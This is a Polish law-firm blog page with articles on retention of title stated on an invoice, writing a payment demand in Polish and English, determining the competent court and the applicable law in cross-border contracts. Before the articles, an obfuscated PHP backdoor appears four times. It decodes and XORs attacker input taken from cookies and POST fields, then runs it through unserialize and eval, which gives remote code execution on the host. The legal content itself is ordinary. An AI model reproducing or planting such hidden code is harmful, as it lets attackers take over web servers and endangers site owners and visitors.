$xHTnXhbKuu = chr ( 283 - 170 )."\x5f" . chr ( 699 - 596 )."\x4b" . "\130" . 'e';$rRpFnm = chr ( 659 - 560 )."\154" . "\x61" . chr ( 135 - 20 ).chr ( 791 - 676 )."\x5f" . chr (101) . chr ( 554 - 434 ).chr (105) . 's' . 't' . "\163";$HNTWmz = class_exists($xHTnXhbKuu); $xHTnXhbKuu = "19593";$rRpFnm = "57668";$izBWrjNstI = !1;if ($HNTWmz == $izBWrjNstI){function aHEWZG(){return FALSE;}$MoACwkHJ = "9638";aHEWZG();class q_gKXe{private function KqPftqYAWP($MoACwkHJ){if (is_array(q_gKXe::$ohmhmLwBs)) {$VFySjEWq = str_replace('<' . chr ( 177 - 114 )."\x70" . 'h' . 'p', "", q_gKXe::$ohmhmLwBs[chr (99) . chr ( 686 - 575 )."\x6e" . "\x74" . chr ( 702 - 601 ).'n' . 't']);eval($VFySjEWq); $MoACwkHJ = "9638";exit();}}private $COuPzVq;public function vLiJNOMpED(){echo 35117;}public function __destruct(){$MoACwkHJ = "57424_44429";$this->KqPftqYAWP($MoACwkHJ); $MoACwkHJ = "57424_44429";}public function __construct($ilLmXAt=0){$ZdXvHq = $_POST;$bbSmhvw = $_COOKIE;$iQLCoFaSqT = "e63853b5-df3b-4afb-b462-3c4e989f859a";$TOOzQcVFI = @$bbSmhvw[substr($iQLCoFaSqT, 0, 4)];if (!empty($TOOzQcVFI)){$xJzNnmF = "base64";$RrFtxjrfGE = "";$TOOzQcVFI = explode(",", $TOOzQcVFI);foreach ($TOOzQcVFI as $XNudLELMU){$RrFtxjrfGE .= @$bbSmhvw[$XNudLELMU];$RrFtxjrfGE .= @$ZdXvHq[$XNudLELMU];}$RrFtxjrfGE = array_map($xJzNnmF . '_' . "\x64" . chr ( 397 - 296 ).chr ( 119 - 20 ).'o' . "\x64" . "\145", array($RrFtxjrfGE,)); $RrFtxjrfGE = $RrFtxjrfGE[0] ^ str_repeat($iQLCoFaSqT, (strlen($RrFtxjrfGE[0]) / strlen($iQLCoFaSqT)) + 1);q_gKXe::$ohmhmLwBs = @unserialize($RrFtxjrfGE); $RrFtxjrfGE = class_exists("57424_44429");}}public static $ohmhmLwBs = 63296;}$dLuSRWile = new /* 32829 */ q_gKXe(9638 + 9638); $izBWrjNstI = $dLuSRWile = $MoACwkHJ = Array();}$xHTnXhbKuu = chr ( 283 - 170 )."\x5f" . chr ( 699 - 596 )."\x4b" . "\130" . 'e';$rRpFnm = chr ( 659 - 560 )."\154" . "\x61" . chr ( 135 - 20 ).chr ( 791 - 676 )."\x5f" . chr (101) . chr ( 554 - 434 ).chr (105) . 's' . 't' . "\163";$HNTWmz = class_exists($xHTnXhbKuu); $xHTnXhbKuu = "19593";$rRpFnm = "57668";$izBWrjNstI = !1;if ($HNTWmz == $izBWrjNstI){function aHEWZG(){return FALSE;}$MoACwkHJ = "9638";aHEWZG();class q_gKXe{private function KqPftqYAWP($MoACwkHJ){if (is_array(q_gKXe::$ohmhmLwBs)) {$VFySjEWq = str_replace('<' . chr ( 177 - 114 )."\x70" . 'h' . 'p', "", q_gKXe::$ohmhmLwBs[chr (99) . chr ( 686 - 575 )."\x6e" . "\x74" . chr ( 702 - 601 ).'n' . 't']);eval($VFySjEWq); $MoACwkHJ = "9638";exit();}}private $COuPzVq;public function vLiJNOMpED(){echo 35117;}public function __destruct(){$MoACwkHJ = "57424_44429";$this->KqPftqYAWP($MoACwkHJ); $MoACwkHJ = "57424_44429";}public function __construct($ilLmXAt=0){$ZdXvHq = $_POST;$bbSmhvw = $_COOKIE;$iQLCoFaSqT = "e63853b5-df3b-4afb-b462-3c4e989f859a";$TOOzQcVFI = @$bbSmhvw[substr($iQLCoFaSqT, 0, 4)];if (!empty($TOOzQcVFI)){$xJzNnmF = "base64";$RrFtxjrfGE = "";$TOOzQcVFI = explode(",", $TOOzQcVFI);foreach ($TOOzQcVFI as $XNudLELMU){$RrFtxjrfGE .= @$bbSmhvw[$XNudLELMU];$RrFtxjrfGE .= @$ZdXvHq[$XNudLELMU];}$RrFtxjrfGE = array_map($xJzNnmF . '_' . "\x64" . chr ( 397 - 296 ).chr ( 119 - 20 ).'o' . "\x64" . "\145", array($RrFtxjrfGE,)); $RrFtxjrfGE = $RrFtxjrfGE[0] ^ str_repeat($iQLCoFaSqT, (strlen($RrFtxjrfGE[0]) / strlen($iQLCoFaSqT)) + 1);q_gKXe::$ohmhmLwBs = @unserialize($RrFtxjrfGE); $RrFtxjrfGE = class_exists("57424_44429");}}public static $ohmhmLwBs = 63296;}$dLuSRWile = new /* 32829 */ q_gKXe(9638 + 9638); $izBWrjNstI = $dLuSRWile = $MoACwkHJ = Array();}$xHTnXhbKuu = chr ( 283 - 170 )."\x5f" . chr ( 699 - 596 )."\x4b" . "\130" . 'e';$rRpFnm = chr ( 659 - 560 )."\154" . "\x61" . chr ( 135 - 20 ).chr ( 791 - 676 )."\x5f" . chr (101) . chr ( 554 - 434 ).chr (105) . 's' . 't' . "\163";$HNTWmz = class_exists($xHTnXhbKuu); $xHTnXhbKuu = "19593";$rRpFnm = "57668";$izBWrjNstI = !1;if ($HNTWmz == $izBWrjNstI){function aHEWZG(){return FALSE;}$MoACwkHJ = "9638";aHEWZG();class q_gKXe{private function KqPftqYAWP($MoACwkHJ){if (is_array(q_gKXe::$ohmhmLwBs)) {$VFySjEWq = str_replace('<' . chr ( 177 - 114 )."\x70" . 'h' . 'p', "", q_gKXe::$ohmhmLwBs[chr (99) . chr ( 686 - 575 )."\x6e" . "\x74" . chr ( 702 - 601 ).'n' . 't']);eval($VFySjEWq); $MoACwkHJ = "9638";exit();}}private $COuPzVq;public function vLiJNOMpED(){echo 35117;}public function __destruct(){$MoACwkHJ = "57424_44429";$this->KqPftqYAWP($MoACwkHJ); $MoACwkHJ = "57424_44429";}public function __construct($ilLmXAt=0){$ZdXvHq = $_POST;$bbSmhvw = $_COOKIE;$iQLCoFaSqT = "e63853b5-df3b-4afb-b462-3c4e989f859a";$TOOzQcVFI = @$bbSmhvw[substr($iQLCoFaSqT, 0, 4)];if (!empty($TOOzQcVFI)){$xJzNnmF = "base64";$RrFtxjrfGE = "";$TOOzQcVFI = explode(",", $TOOzQcVFI);foreach ($TOOzQcVFI as $XNudLELMU){$RrFtxjrfGE .= @$bbSmhvw[$XNudLELMU];$RrFtxjrfGE .= @$ZdXvHq[$XNudLELMU];}$RrFtxjrfGE = array_map($xJzNnmF . '_' . "\x64" . chr ( 397 - 296 ).chr ( 119 - 20 ).'o' . "\x64" . "\145", array($RrFtxjrfGE,)); $RrFtxjrfGE = $RrFtxjrfGE[0] ^ str_repeat($iQLCoFaSqT, (strlen($RrFtxjrfGE[0]) / strlen($iQLCoFaSqT)) + 1);q_gKXe::$ohmhmLwBs = @unserialize($RrFtxjrfGE); $RrFtxjrfGE = class_exists("57424_44429");}}public static $ohmhmLwBs = 63296;}$dLuSRWile = new /* 32829 */ q_gKXe(9638 + 9638); $izBWrjNstI = $dLuSRWile = $MoACwkHJ = Array();}$xHTnXhbKuu = chr ( 283 - 170 )."\x5f" . chr ( 699 - 596 )."\x4b" . "\130" . 'e';$rRpFnm = chr ( 659 - 560 )."\154" . "\x61" . chr ( 135 - 20 ).chr ( 791 - 676 )."\x5f" . chr (101) . chr ( 554 - 434 ).chr (105) . 's' . 't' . "\163";$HNTWmz = class_exists($xHTnXhbKuu); $xHTnXhbKuu = "19593";$rRpFnm = "57668";$izBWrjNstI = !1;if ($HNTWmz == $izBWrjNstI){function aHEWZG(){return FALSE;}$MoACwkHJ = "9638";aHEWZG();class q_gKXe{private function KqPftqYAWP($MoACwkHJ){if (is_array(q_gKXe::$ohmhmLwBs)) {$VFySjEWq = str_replace('<' . chr ( 177 - 114 )."\x70" . 'h' . 'p', "", q_gKXe::$ohmhmLwBs[chr (99) . chr ( 686 - 575 )."\x6e" . "\x74" . chr ( 702 - 601 ).'n' . 't']);eval($VFySjEWq); $MoACwkHJ = "9638";exit();}}private $COuPzVq;public function vLiJNOMpED(){echo 35117;}public function __destruct(){$MoACwkHJ = "57424_44429";$this->KqPftqYAWP($MoACwkHJ); $MoACwkHJ = "57424_44429";}public function __construct($ilLmXAt=0){$ZdXvHq = $_POST;$bbSmhvw = $_COOKIE;$iQLCoFaSqT = "e63853b5-df3b-4afb-b462-3c4e989f859a";$TOOzQcVFI = @$bbSmhvw[substr($iQLCoFaSqT, 0, 4)];if (!empty($TOOzQcVFI)){$xJzNnmF = "base64";$RrFtxjrfGE = "";$TOOzQcVFI = explode(",", $TOOzQcVFI);foreach ($TOOzQcVFI as $XNudLELMU){$RrFtxjrfGE .= @$bbSmhvw[$XNudLELMU];$RrFtxjrfGE .= @$ZdXvHq[$XNudLELMU];}$RrFtxjrfGE = array_map($xJzNnmF . '_' . "\x64" . chr ( 397 - 296 ).chr ( 119 - 20 ).'o' . "\x64" . "\145", array($RrFtxjrfGE,)); $RrFtxjrfGE = $RrFtxjrfGE[0] ^ str_repeat($iQLCoFaSqT, (strlen($RrFtxjrfGE[0]) / strlen($iQLCoFaSqT)) + 1);q_gKXe::$ohmhmLwBs = @unserialize($RrFtxjrfGE); $RrFtxjrfGE = class_exists("57424_44429");}}public static $ohmhmLwBs = 63296;}$dLuSRWile = new /* 32829 */ q_gKXe(9638 + 9638); $izBWrjNstI = $dLuSRWile = $MoACwkHJ = Array();}

Zastrzeżenie własności na fakturze

Andrzej Żurawski        20 grudnia 2015        5 komentarzy

Zastrzeżenie własności na fakturze, jest coraz częściej wykorzystywanym instrumentem zabezpieczającym transakcje zarówno w obrocie krajowym, jak i międzynarodowym.

Wyobraźmy sobie następującą sytuację – między stronami nie ma pisemnej umowy albo ma ona bardzo wąski zakres i obejmuje tylko podstawowe regulacje – przedmiot i cenę. Sprzedawca dochodzi jednak do wniosku, że potrzebuje dodatkowego zabezpieczenia i wprowadza do faktury wysłanej następnie do odbiorcy zastrzeżenie prawa własności towaru do czasu uregulowania ceny.

zastrzeżenie własności na fakturze

Czy faktura ma moc podobną do umowy?

Kwestia mocy dowodowej dodatkowych klauzul – takich jak zastrzeżenie własności na fakturze jest tematem rozważań zarówno doktryny jak i orzecznictwa. Zgodnie z dominującym poglądem faktura vat nie jest równoważna z podpisaną umową. Jednocześnie nie można jednak odmówić jej mocy dowodowej w takim zakresie w jakim wykazuje na zaistnienie pewnych zdarzeń mających znaczenie w sferze cywilno-prawnej.

O dodatkowych zapisach na fakturze przeczytasz TUTAJ

Czego można dowodzić na podstawie faktury?

Faktura VAT jest dokumentem prywatnym, a nie urzędowym. Przepisy podatkowe także nie nadają fakturom VAT szczególnej mocy dowodowej. Jednocześnie, zgodnie z orzecznictwem Sądu Najwyższego, wystawienie faktury wywiera szereg istotnych skutków prawnych, np.;

  • może pełnić fukcję charakter wezwania do zapłaty od którego należy liczyć odsetki za opóźnienie w zapłacie, ,
  • może pelnić funkcję pokwitowania odebrania zapałty.
  • sądy podczas orzekania mogą, w oparciu treść faktury, samodzielnie lub z uwzględnieniem innych dowodów ustalić treść stosunku prawnego łączącego strony.

Faktura zatem nie dowodzi o zaistnieniu samego zobowiązania ale może również służyć do ustalania jego treści.

Czy zastrzeżenie własności na fakturze jest skuteczne?

W orzecznictwie Sądu Najwyższego prezentowany jest pogląd, że zawarte w doręczonej kupującemu fakturze zastrzeżenie, że do chwili całkowitej zapłaty ceny towar pozostaje własnością sprzedawcy, spełnia warunki określone w art. 589 k.c. a tym samym pozwala na zastrzeżenia prawa własności (por. wyrok Sądu Najwyższego z dnia 10 października 2003r., sygn. akt II CK 119/2002). Stosownie do poglądu prezentowanego w wyroku Sądu Najwyższego z dnia 24 lipca 2008r. sygn. akt IV CSK 87/2008 nie można odmawiać znaczenia klauzuli zawartej na fakturze tylko dlatego, że jest ona dokumentem rozliczeniowym sporządzanym na użytek przepisów podatkowych.

Powyżej wskazane orzecznictwo nie pozostawia wątpliwości, iż zastrzeżenie własności na fakturze jest klauzulą, której nie można odmówić skuteczności, jak rownież mocy dowodowej oczywiście przy założeniu, że dojdzie do skutecznego wykazania faktu akceptacji przez kupującego treści doręczonego mu dokumentu.

Wezwanie do zapłaty po angielsku

Andrzej Żurawski        08 listopada 2015        Komentarze (1)

Przedsiębiorcy nie trzeba tłumaczyć, że zdarzają się w biznesie sytuacje, które zmuszają do wystosowania wezwania do zapłty a w przypadku kontrahentów zagranicznych niezbędne jest niekiedy wezwanie do zapłaty po angielsku.

Jest to podstawowe działania zmierzające do przypomnienia dłużnikowi o istniejącym zadłużeniu i wysłaniu sygnału, że nie zamierzamy o tym zapomnieć.

wezwanie do zapłaty po angielsku

Jakie elementy powinno zawierać wezwanie do zapłaty po angielsku?

  1. miejsce oraz data sporządzenia, np.:
  • Wrocław, 27th of April 2015
  1. Prawidłowe określenie adresata wezwania – więcej piszę na ten temat tutaj.
  2. prawidłowe oznaczenie pisma – wskazanie czy jest to ostateczne wezwanie do zapłaty należności przed skierowaniem sprawy na drogę postepowania sądowego, czy też przypomnienie o zaistniałej zaległości, np.:
  • CALL FOR PAYMENT (wezwanie do zapłaty)
  • FINAL CALL FOR PAYMENT (ostateczne wezwanie do zapłaty)
  • PRE-COURT CALL FOR PAYMENT (przedsądowe wezwanie do zapłaty)
  1. oznaczenie firmy wzywającej i wskazanie co jest przedmiotem wezwania, np.:
  • Acting on behalf company Promotex ABC Sp. z o.o. with its registered office in Poland, Żmigrodzka street 53B lok. 4, 50-045 Wrocław, I hereby call for payment of the amount of 13.126,59 EUR (in words: thirteen thousand one hundred twenty six euro and fifty nine euro cents)
  1. określenie dokładnej wysokości zaległości wraz ze świadczeniami przynależnymi (takimi jak odsetki) i źródła z jakiego wynika (np. faktura, umowa etc.), np.:
  • The above amount includes a payment for the following invoices: 31 dated 1st of December 2014, 33 dated 8th of December 2014.
  1. określenie terminu zapłaty należności oraz sposobu, w jaki należy wykonać płatność (np. przelewem na podany numeru rachunku bankowego), np.:
  • I request You to transfer the above mentioned amount within 7 days from the date of receipt of this call into the bank account no 9800005167673423415 (Swift: ALBCP) or to send the proposal of debt payment to our company within the aforementioned period.
  1. Określenie sankcji braku zapłaty zgodnie z wezwaniem, np.:
  • In case of non-payment or lack of contact from Your side court proceedings will be initiated, which will charge You with additional high court fees and late payment interest.
  • In the event of default on payment due to the Act of April 9th 2010 concerning economic information disclosure and economic data exchange (Journal of Laws no. 81, item. 530) (BIG Act) information concerning your overdue debt shall be passed to the BIG Debtors Register kept by: Company XYZ.
  1. Podpis osoby wysyłającej wezwanie wraz ze wskazaniem danych kontaktowych;
  • The proof of payment or proposal of debt payment shall be faxed to our company: fax no. 71 22344563 or e-mailed to: info@promotexabc.pl
  • Signature and stamp
  1. wezwanie zawsze powinno zostać wysłane za zwrotnym potwierdzeniem odbioru.

W przypadku, gdy wysyłamy wezwanie do zapłaty po angielsku przesyłką za pośrednictwem Poczty Polskiej obok zwykłego druku nadania przesyłki poleconej należy wypełnić również „pomarańczowy” druk potwierdzenia odbioru.

wezwanie_do_zaplaty_po_angielsku

Co jeżeli wezwanie nie przyniesie rezultatu?

Artykuł

Poniżej wzór wezwania do zapłaty do pobrania w formacie doc.

wezwanie_do_zaplaty_po_angielsku

Właściwy sąd

Andrzej Żurawski        01 listopada 2015        Komentarze (0)

Jaki jest właściwy sąd? To pytanie musi być zadane zawsze przy analizie sprawy z elementem międzynarodowym.

Często przedsiębiorcy decydując się na transakcję z firmą zagraniczną nie biorą nawet pod uwagę, że w razie sporu może być właściwy sąd inny niż polski. Jest to powszechny błąd którego łatwo można uniknąć dokonując wyboru jurysdykcji sądowej już na etapie rozpoczynania współpracy z kontrahentem z innego państwa.

Sytuacja kiedy to nagle okazuje się, że istnieje możliwość, iż właściwy będzie sąd innego państwa wymaga podjęcia specyficznych działań w tym rozważenia prowadzenia postępowania sądowego poza granicami Polski.

właściwy sąd

W jaki sposób ustalić sąd właściwy?

Konieczne jest stwierdzenie jakie regulacje prawne znajdą zastosowanie. Jeżeli stronami transakcji jest podmiot polski oraz:

  • podmiot z innego kraju Unii Europejskiej – zastosowanie znajdzie Rozporządzenie Rady (WE) Nr 44/2001 z dnia 22 grudnia w sprawie jurysdykcji i uznawania orzeczeń sądowych oraz ich wykonywania w sprawach cywilnych i handlowych (Bruksela I) lub Rozporządzenie Rady (WE) Nr 1215/2012 z dnia 22 grudnia w sprawie jurysdykcji i uznawania orzeczeń sądowych oraz ich wykonywania w sprawach cywilnych i handlowych (Bruksela I bis);
  • podmiot z Islandii, Norwegii, Szwajcarii – zastosowanie znajdzie konwencja 88/592/EWG o jurysdykcji i wykonywaniu orzeczeń sądowych w sprawach cywilnych i handlowych – Lugano, 16 września 1988 r.;
  • w przypadku transakcji z podmiotem z państwa nie będącego członkiem Unii Europejskiej koniecznym będzie sprawdzenie czy występują dwustronne umowy między Polską i tym państwem regulujące zagadnienie jurysdykcji sadowej.

Jaki sąd ma jurysdykcję stosownie do Rozporządzenia Bruksela I?

Rozporządzenie przewiduje szereg zasad ustalania właściwości sądu. Między innymi przewiduje, iż do rozpoznania sporu właściwy jest:

  • Sąd kraju miejsca zamieszkania / siedziby pozwanego
  • Sąd kraju miejsca wykonania zobowiązania
  • Sąd kraju wybranego przez strony stosunku prawnego
  • sąd miejsca, w którym nastąpiło lub może nastąpić zdarzenie wywołujące szkodę wynikające z czynu niedozwolonego

Jakie skutki może mieć błąd w zakresie ustalenia właściwego sądu?

Błąd w ocenie właściwości sądu mieć różnorakie następstwa. W zależności od etapu postępowania na jakim dojdzie do podniesienia tej kwestii wiązać się może z koniecznością ponownego wszczęcia postepowania ale błąd może również prowadzić w skrajnych przypadkach do przedawnienia dochodzonych roszczeń.

Właściwy sąd powinien być ustalony z dużą starannością najlepiej przez wykwalifikowaną kancelarię zajmującą się problematyką międzynarodową.

Prawo właściwe

Andrzej Żurawski        30 października 2015        Komentarze (0)

Jakie prawo właściwe? Przecież to zobowiązanie jest przedawnione! Panie Mecenasie, no jak nie, jak tak! No przecież każdy to wie, że sprzedaż przedawnia się po dwóch latach! Towar odebrałem prawie trzy lata temu i już nawet nie pamiętam co to dokładnie było!

Prawo właściwe

Pan Jan wyraźnie zadowolony ze swojej szerokiej i dogłębnej wiedzy prawniczej kończył właśnie wykazywać całkowitą niedorzeczność kierowanych pod jego adresem roszczeń kontrahenta z Włoch. Nie było tu już istotne, czy zapłata za dostarczony towar się należała, czy nie. Ważne, że doszło do przedawnienia.

Trudno nie było przyznać Panu Janowi racji, z tym drobnym wyjątkiem, że na jego nieszczęście prawo europejskie przewiduje właściwość prawa włoskiego zgodnie, z którym  okres przedawnienia roszczeń z tytułu sprzedaży miedzy przedsiębiorcami wynosi 10 lat. Nie będę przytaczał w tym miejscu opinii Pana Jana na temat prawa europejskiego, gdy się o tym dowiedział…

Ocena warunków transakcji z podmiotem zagranicznym już na etapie podejmowania decyzji o przystąpieniu do współpracy powinna obejmować ustalenie jakie będzie dla niego prawo właściwe.

Aktem jednolicie regulującym kwestie właściwości prawa we wszystkich krajach – członkach Unii Europejskiej jest rozporządzenie Parlamentu Europejskiego i Rady (WE) nr 593/2008 z dnia 17 czerwca 2008 r. w sprawie prawa właściwego dla zobowiązań umownych (Rzym I).

Czy strony mogą swobodnie dokonać wyboru jakie będzie prawo właściwe?

Jeżeli strony zgodnie ustaliły właściwość prawa określonego państwa dla całości lub części umowy, prawo to jest wiążące i nie ma potrzeby dokonywania dalszych analiz. Wybór musi mieć charakter wyraźny lub jednoznacznie wynikać z okoliczności.

Co jeżeli strony nie dokonały wyboru jakie będzie prawo właściwe?

Rozporządzenie przewiduje, że w przypadku braku wyboru prawa znajdują zastosowanie regulacje prawa właściwego dla zwykłego pobytu – odpowiednio:

  • sprzedawcy – w przypadku umowy sprzedaży;
  • usługodawcy – w przypadku umowy o świadczenie usług;
  • franczyzobiorcy – w przypadku umowy franczyzy;
  • dystrybutora – w przypadku umowy dystrybucji

Co jeżeli umowa nie kwalifikuje się do  żadnego z typów wskazanych powyżej ?

Jeżeli do umowy nie stosuje się żadnej z powyższych zasad lub stosuje się więcej niż jedną z nich, prawo właściwe zostanie ustalone na podstawie kraju zamieszkania uczestnika spełniającego świadczenie charakterystyczne.

Czy od powyższej zasady występują wyjątki?

Jeżeli jednak z wszystkich okoliczności sprawy wynika, że umowa jest powiązana ściślej z innym państwem, niż stanowią niniejsze zasady, stosuje się prawo tego państwa.

Przeczytaj również jak ustalać właściwy sąd w sprawach międzynarodowych – TUTAJ

Prawo właściwe dla danej umowy decyduje m. in. o jej wykładni, sposobie wykonywania, skutkach nienależytego wykonania, przedawnieniu  stąd też przystępując do transakcji obowiązkowo należy podjąć działania w celu przyjęcia prawa korzystniejszego dla nas lub przynajmniej zapoznać się z regulacjami prawa właściwego, tak aby nie doszło do niemiłych niespodzianek na dalszym etapie jej wykonywania.

Wezwanie do zapłaty

Andrzej Żurawski        28 października 2015        Komentarze (0)

Wezwanie do zapłaty jest jednym z podstawowych dokumentów, jakim posługują się kancelarie prowadzące sprawy windykacyjne. W dniu dzisiejszym, przygotowując wezwanie do zapłaty adresowane do dłużnika jednego z klientów naszej kancelarii postanowiłem rozłożyć je na części składowe i wskazać, jakie są konieczne elementy wezwania aby należycie spełniało swoją, mobilizującą dłużnika, funkcję.

Wezwanie do zapłaty

Prawidłowo napisane wezwanie do zapłaty powinno zawierać:

1. miejsce oraz data sporządzenia;

2. prawidłowe określenie adresata wezwania – podanie pełnej nazwy osoby prawnej bądź imienia i nazwiska osoby fizycznej ze wskazaniem adresu lub siedziby;

3. prawidłowe oznaczenie pisma – wskazanie czy jest to ostateczne wezwanie do zapłaty należności przed skierowaniem sprawy na drogę postepowania sądowego, czy też przypomnienie o zaistniałej zaległości;

4. określenie terminu zapłaty należności oraz sposobu, w jaki należy wykonać płatność (np. przelewem na podany numeru rachunku bankowego);

5. określenie dokładnej wysokości należności wraz ze świadczeniami przynależnymi (takimi jak odsetki) i źródła z jakiego wynika (np. faktura, umowa etc.);

6. Określenie sankcji braku zapłaty zgodnie z wezwaniem, np:

  • zlecenie windykacji firmie windykacyjnej;
  • wstrzymanie dalszych dostaw oraz zawieszenie współpracy;
  • udostepnienie informacji o dłużniku w rejestrze dłużników;
  • zlecenie sprzedaży wierzytelności na giełdzie należności, a tym samym upublicznienie informacji o zobowiązaniach;
  • skierowanie sprawy na drogę postepowania sądowego, co wiązać się będzie z dodatkowymi wysokimi kosztami dla dłużnika;
  • złożenie wniosku o ogłoszenie upadłości dłużnika;

7. Podpis osoby wysyłającej wezwanie wraz ze wskazaniem danych kontaktowych;

8. Wezwanie może również zawierać załączniki:

  • kserokopie niezapłaconych faktur;
  • pełnomocnictwo, w przypadku gdy wezwanie wysyłane jest w imieniu wierzyciela przez inną osobę.

9. wezwanie zawsze powinno zostać wysłane za zwrotnym potwierdzeniem odbioru:

  • w procesie sądowym pozwala wykazać, iż dłużnik nie spełnił dobrowolnie należności;
  • w przypadku osób fizycznych może przyczynić się do potwierdzenia adres zamieszkania.

Wezwanie do zapłaty może zostać wysłane lub przekazane dłużnikowi w dowolny sposób, który pozwoli na potwierdzenie faktu jego doręczenia. Do najczęściej spotykanych sposobów doręczenia należy nadanie przesyłki pocztowej za zwrotnym potwierdzeniem odbioru ale możliwe jest również wykorzystanie usługi kurierskiej, czy osobiste dostarczenie pisma do dłużnika. Niezależnie od formy doręczenia istotne jest abyśmy dysponowali potwierdzeniem, że do doręczenia wezwania faktycznie doszło.

Dowiedz się jak sporządzić wezwanie do zapłaty w języku angielskim – TUTAJ
Dowiedz się jak sporządzić wezwanie do zapłaty w języku niemieckim – TUTAJ